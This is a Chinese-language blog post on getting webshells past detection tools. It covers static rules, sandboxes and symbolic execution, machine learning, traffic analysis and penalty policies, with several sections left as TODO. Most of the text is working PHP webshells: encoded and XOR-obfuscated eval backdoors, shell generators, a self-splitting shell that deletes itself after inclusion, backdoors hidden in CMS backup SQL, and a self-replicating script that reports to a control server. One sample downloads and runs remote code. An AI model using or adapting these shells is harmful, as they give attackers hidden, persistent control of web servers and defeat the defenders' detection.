cdxy.me
Cyber Security / Data Science / Trading

导读

本文从以下五个方面讨论现有的webshell查杀解决方案,并给出实例分析(样本来源于公开数据)及针对性对抗方案。

  1. 对抗静态规则
  2. 对抗动态分析
  3. 对抗机器学习
  4. 对抗流量分析
  5. 对抗处罚策略

Part 1. 对抗文本规则

代码审计即寻找连接输入和输出的通路,webshell的检测逻辑也是如此,在这个流程中我们可以在"输入"、"运算"、"输出"这三个点寻找突破。即选择生僻的输入和输出点,同时加以混淆度高的运算,通过自动化fuzz或手动尝试,最终找到规则没有覆盖到的通路。

pic

1.1 常规案例

例1: 一句话木马——常规输入输出,无运算过程

<?php eval($_GET[1]);?>

例2: 生僻输入

利用filter_input隐藏输入点逃逸规则。(过D盾2.0.9 / 20180102)

<?php
system(filter_input(INPUT_GET,'c'));
?>

连接方式为

http://127.0.0.1:8080/shell.php?c=system&d=ls

例3: 生僻输出

使用array_diff_ukey触发命令执行,该输出点规则系统或无法覆盖。

<?php 
array_diff_ukey(@array($_GET['cmd']=>1),@array('user'=>2),'system');
?>

例4: 隐藏输入——常规编码

利用编码隐藏输入点,降低守方的数据维度。静态的规则系统无法准确判断被加密的内容是否为恶意,只能根据编码函数和输出点进行大致推断。

<?php
eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVq8qLc5IzUtXj9W0BgA=')));
?>

例5: 隐藏输入——自定义编码

该运算过程相比php内置的编码函数而言隐蔽性更强,更易绕过规则系统。

<?php
    function encode($string) {
        $result = '';
        for ($index = 0;$index < strlen($string);$index += 1)
            $result .= chr(ord($string[$index]) + 3);
        return $result;
    }
    function decode($string) {
        $result = '';
        for ($index = 0;$index < strlen($string);$index += 1)
            $result .= chr(ord($string[$index]) - 3);
        return $result;
    }
    $a = '_GET';
    $b = $$a;
    $a = decode('dvvhuw');
    call_user_func(decode('dvvhuw'),'$code=function() { '.$b['code'].'}');
?>

例6: 隐藏输入——加密


例7: 隐藏输入——自定义HTTP头


例8:隐藏输入——变量运算

同样是隐藏输入点的手段

<?php                                                             $f8b='eahKl_O\'76v5$fC(iIE2ste26752';if(isset(${$f8b[5].$f8b[14].$f8b[6].$f8b[6].$f8b[3].$f8b[17].$f8b[18]}[$f8b[2].$f8b[0].$f8b[19].$f8b[9].$f8b[8].$f8b[11].$f8b[19]])){eval(${$f8b[5].$f8b[14].$f8b[6].$f8b[6].$f8b[3].$f8b[17].$f8b[18]}[$f8b[2].$f8b[0].$f8b[19].$f8b[9].$f8b[8].$f8b[11].$f8b[19]]);} ?>

例9:隐藏输入输出——字符运算

利用字符运算隐藏输入点,同时使用了动态调用作为输出点。

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]);

例10: 生僻输入+隐藏输入——外部输入

<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(
sprintf('%s?%s',pack("H*",
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>

这里是先字符串运算得到黑客的文件服务器地址。

sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())

解密出的地址如下。

http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85

然后通过file_get_contents从远端下载回代码,最终输出点利用preg_replace执行代码,隐蔽性很强。

Part 2. 对抗动态检测

这里我们的对抗目标包括但不限于沙箱、基于语法/语义分析的代码审计工具、污点跟踪、旁路运算、符号执行等分析方法。

2.1 输入输出点分析

  • RIPS源码分析 TODO

2.2 规则总是可被绕过的

PHP沙箱的常见落地方式是利用zend提供的接口编写扩展对高危函数进行hook,获得传入该函数的真实参数,从而解决前文中提到的"利用字符运算和编码隐藏输入点"的逃逸手段。

  • 无论是PHP层(RASP)还是C层(PHP扩展)采集的数据,其结果如依靠规则进行过滤,就仍有操作空间。

2.3 上传生成器

  • 该方法适用于 已经绕过了目标的静态文本规则,但是被动态引擎查杀 的情况。

将webshell源码预置到一段静态字符串中,每次访问时向文件系统中写入一个新的webshell。这种策略虽然生成的webshell容易被杀,但生成器隐蔽性高。

从行为角度来看,生成器仅完成了将一段内容写入本地文件的操作,与许多正常功能无异。如果查杀引擎想要准确识别这种"生成器",需要对静态字符串中的内容进行解析,然后将匹配到<?php标签的文本递归动态执行。

例9: 简单生成器

<?php file_put_contents('moon.php',$a.'<?php eval($_POST[x]);echo mOon;?>');?>

实际情况中对静态字符串的检验大多还是规则,因此可以使用上文提到的混淆手段生成webshell,然后在将其包装到一个"生成器"中。如果你的混淆方法可以绕过目标的静态文本规则,那么生成器被检出的概率不大。

例10: 带有混淆的生成器

<?php fputs (fopen(pack("H*","6c6f7374776f6c662e706870"),"w"),pack("H*","3c3f406576616c28245f504f53545b6c6f7374776f6c665d293f3e"))?>

2.4 动态的未知——用户输入

无论是沙箱还是旁路执行(一种检测webshell思路是重写php的函数或复用php底层代码,对样本进行词法分析后在旁路进行计算,相当于动态解决了编码和字符操作问题),都无法获取用户输入,这里一种策略是将undefined变量看做污点继续向下跟踪。

针对此类case可以考虑首先将变量进行无害的初始化,然后用变量覆盖的思路偷梁换柱。

如下例,D盾对一个undefined变量报毒,原因显示"未知内容":

pic

放开第一行的注释,给$code变量一个定义,不报毒:

pic

使用extract做变量覆盖,告警级别降低为1,原因显示"可疑eval":

pic

2.5 利用性能瓶颈——分支爆炸

针对符号执行、旁路运算的检测方案。因其并未动态执行,当遇到分支或循环时,受限于性能,将根据预设的处理策略向下计算,此时我们可根据这一策略制定出对抗方案。

  • 如果程序预设为"每个分支都走一遍"时,可以嵌套构造多个if/swith结构,挑战其复杂度上限。
  • 如果程序预设为"每个循环只走一遍"时,可以构造依赖N次循环的位运算函数,进行自定义加解密。

2.6 利用性能瓶颈——跨文件

我们在做代码审计时,使用RIPS扫描一个CMS往往需要数分钟甚至更久。而真实环境中的存储和运算成本都是受到限制的,webshell查杀产品无法接受这个成本,因而会主动施加一些限制条件,这一弱点也可为我所用。

  • 出于性能考虑,大部分旁路分析方法是不会跟进include的,我们可以利用这个弱点,让webshell运行时"自分裂",然后通过include关联到一起。

例8: 自分裂型webshell

<?php
    $cfg_ml='PD9waHAgQGV2YWwoJF9QT1NUWydndWlnZSddKT8+';
    $cfg_ml = base64_decode($cfg_ml);
    $t = md5(mt_rand(1,100));
    $f=$_SERVER['DOCUMENT_ROOT'].'/data/sessions/sess_'.$t;
    @file_put_contents($f,$cfg_ml);
    if(!file_exists($f))
    {
        $f=$t;
        @file_put_contents($f,$cfg_ml);
    }
    if(!file_exists($f))
    {
        $f=$_SERVER['DOCUMENT_ROOT'].'/a/'.$t;
        @file_put_contents($f,$cfg_ml);
    }
    if(!file_exists($f))
    {
        $f=$_SERVER['DOCUMENT_ROOT'].'/'.$t;
        @file_put_contents($f,$cfg_ml);
    }
    if(!file_exists($f))
    {
        $f='/tmp/'.$t;
        @file_put_contents($f,$cfg_ml);
    }
    @include($f);
    @unlink($f);
?>

变量$cfg_ml解码后是一句话木马

<?php @eval($_POST['guige'])?>

接下来脚本依次尝试了向四个路径写入一句话木马,通过include连接之后,再将该木马文件删除。真正的恶意代码在内存中,不会暴露给动态查杀引擎。

2.7 传统沙箱对抗策略

  • TODO

2.8 利用框架接口/CMS内置函数/模板处理函数进行伪装

牺牲一定通用性,仅针对一种框架或CMS生成高隐蔽性的webshell。因其依赖了框架或CMS内置函数,对动态查杀的挑战性很高。

例10: 调用框架接口

<?php
require("../../inc/header.php");

/*
        SoftName : EmpireBak Version 2010
        Author   : wm_chief
        Copyright: Powered by www.phome.net
*/

DoSetDbChar('gbk');
E_D("DROP TABLE IF EXISTS `dede_mytag`;");
E_C("CREATE TABLE `dede_mytag` (
  `aid` mediumint(8) unsigned NOT NULL AUTO_INCREMENT,
  `typeid` smallint(5) unsigned NOT NULL DEFAULT '0',
  `tagname` varchar(30) NOT NULL DEFAULT '',
  `timeset` smallint(6) NOT NULL DEFAULT '0',
  `starttime` int(10) unsigned NOT NULL DEFAULT '0',
  `endtime` int(10) unsigned NOT NULL DEFAULT '0',
  `normbody` text,
  `expbody` text,
  PRIMARY KEY (`aid`),
  KEY `tagname` (`tagname`,`typeid`,`timeset`,`endtime`,`starttime`)
) ENGINE=MyISAM AUTO_INCREMENT=19016 DEFAULT CHARSET=gbk");
E_D("replace into `dede_mytag` values('3117','0','','0','0','0','{dede:php}file_put_contents(''mybak.php'',''<?php eval(\$_POST[mybak]);?>'');{/dede:php}',NULL);");
E_D("replace into `dede_mytag` values('2143','0','','0','0','0','{dede:php}file_put_contents(''hkmke.php'',''hkmke<?php eval(\$_POST[hkmke]);?>'');{/dede:php}',NULL);");

require("../../inc/footer.php");
?>

Part 3. 对抗机器学习

3.1 基线污染方法

3.2 超参数

3.3 利用tokenize长度限制

3.4 特征伪造

  1. 主机文件mata信息
  2. 弃用加密编码
  3. 利用白样本变种
  4. opcode构造

Part 4. 对抗流量分析

流量侧分析方案主要如下: 1. 基于固定通信特征的文本匹配/分类 2. 基于整站流量拓扑/历史基线的异常检测 3. 利用同源webshell通信的相似性做结果扩展或聚类

4.1 流量侧规则

某些爬虫类方案将主动探索未被触发的页面,并采下response数据加以分析,此种方法并不高效,但某些同源的webshell仍在响应中表现出明显特征,如:

>||<

流量侧“障眼法”一例:

<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /404 was not found on this server.</p>
</body></html>
<?php $p=base64_decode("bW93YW5n");$i['j']='assert';$a[]=$i;@$a[0]['j']($_POST[$p]);$filename = $php_self=substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);function set_writeable($file_name){if(@chmod($file_name,0444)){echo "OK";}else{echo "no";}}set_writeable($filename);?>

由于webshell内容可控,理论上只需在代码中实现一套解密算法对流量解密,即可绕过全部流量侧规则。

4.2 警惕一致性

事实上,随着同源webshell的植入数量增长,访问者、请求特征、响应特征的一致性会对其隐蔽性造成毁灭性影响。

如IP_1连接了10个IP,在这10组通信流量的HTTP参数特征、HTTP响应特征高度一致,且IP_1已有入侵记录或受害IP已被检出高危行为时,我们有理由判定这些通信是恶意的。

  1. 避免从远程文件服务器拉取代码。

4.3 重放型安全扫描

重放类检测产品会将疑似webshell的流量进行重放二次确认。

此处我们要解的问题是:如何在流量全透明的情况下,保证webshell只有自己可用

以下是CTF竞赛中关于防止自己的马被别人骑的解决方案。

  • TODO

4.4 逃离HTTP协议

针对HTTP协议的异常及威胁检测已经日渐成熟。从流量分析类产品角度来讲,针对其他协议/全端口TCP/UDP流量的采集、存储和计算成本都很高。因此我们在victim植入的webshell(client)可用非HTTP协议与server端通信,该策略可有效提高防守方成本。

Part 5. 对抗处罚策略

5.1 障眼法

\r 为ASCII控制字符 如果一个文件中存在控制字符 \r 那么如果在终端中 cat 的时候就会控制光标移动到行首

<?php eval($_GET[1]);?>\r<?php phpinfo()?>

5.2 初级持久化

<?php
    $PageNum=5;
    $isRoot="123";
    $myname="c"."k";
    $ControlUrl="http://dd.jc2018.pw";
    //创建文件夹
    function createFolder($path){
        if (!file_exists($path)){
           createFolder(dirname($path));
           mkdir($path, 0777,true);
        }
    }
    function getUrlContent($url) {
        $content = @file_get_contents($url);
        return $content;
    }

    //创建文件写入内容
    function CreateFile($filename,$content){
        $index=fopen($filename,"w");
        fwrite($index,$content);
        fclose($index);
    }


    function MyReadFile($file){
        $handle=fopen($file,"r");
        $con=fread($handle,filesize($file));
        fclose($handle);
        return $con;
    }



    $webRoot=$_SERVER['DOCUMENT_ROOT'];

    //是否生成过并且不是主目录
    if((is_file("content.php")) and ($isRoot!=$myname)){
        include_once("content.php");
        exit();
    }

    //随机文件夹
    $Uri=trim(str_ireplace("index.php","",$_SERVER['REQUEST_URI']));
    for($i=1;$i<=$PageNum;$i++){
        $randMath=rand(1,13000);
        $Urls="";


        if($isRoot==$myname){   //如果是主目录,则在当前目录下建目录,否则在上级目录下建目录
            $OtherDir=$randMath;
            $Urls="http://".$_SERVER['HTTP_HOST'].$Uri.$randMath."/";
            echo "<a href='".$Urls."' target='_blank'>".$Urls."</a></br>";
        }else{
            $OtherDir="../".$randMath;
            $Urls="http://".$_SERVER['HTTP_HOST'].dirname($Uri)."/".$randMath."/";
        }

        $con=MyReadFile("index.php");
        $con=str_ireplace("123","123",$con);

        createFolder($OtherDir);    //创建文件夹
        CreateFile($OtherDir."/index.php",$con);
        getUrlContent($ControlUrl."/SaveUrl.php?url=".$Urls);
    }
    if($isRoot!=$myname){   //如果不是主目录
        $NowUrl="http://".$_SERVER['HTTP_HOST'].$Uri;
        $web="http://".$_SERVER['HTTP_HOST'];
        $GetUrl=$ControlUrl."/GetInfo.php?url=".$NowUrl;
        echo $FileCon=getUrlContent($ControlUrl."/GetCon.php?url=".$NowUrl."&web=".$web);
        if( $FileCon != null ){
            CreateFile("content.php",$FileCon);
        }
    }

?>

5.3 高级持久化

ref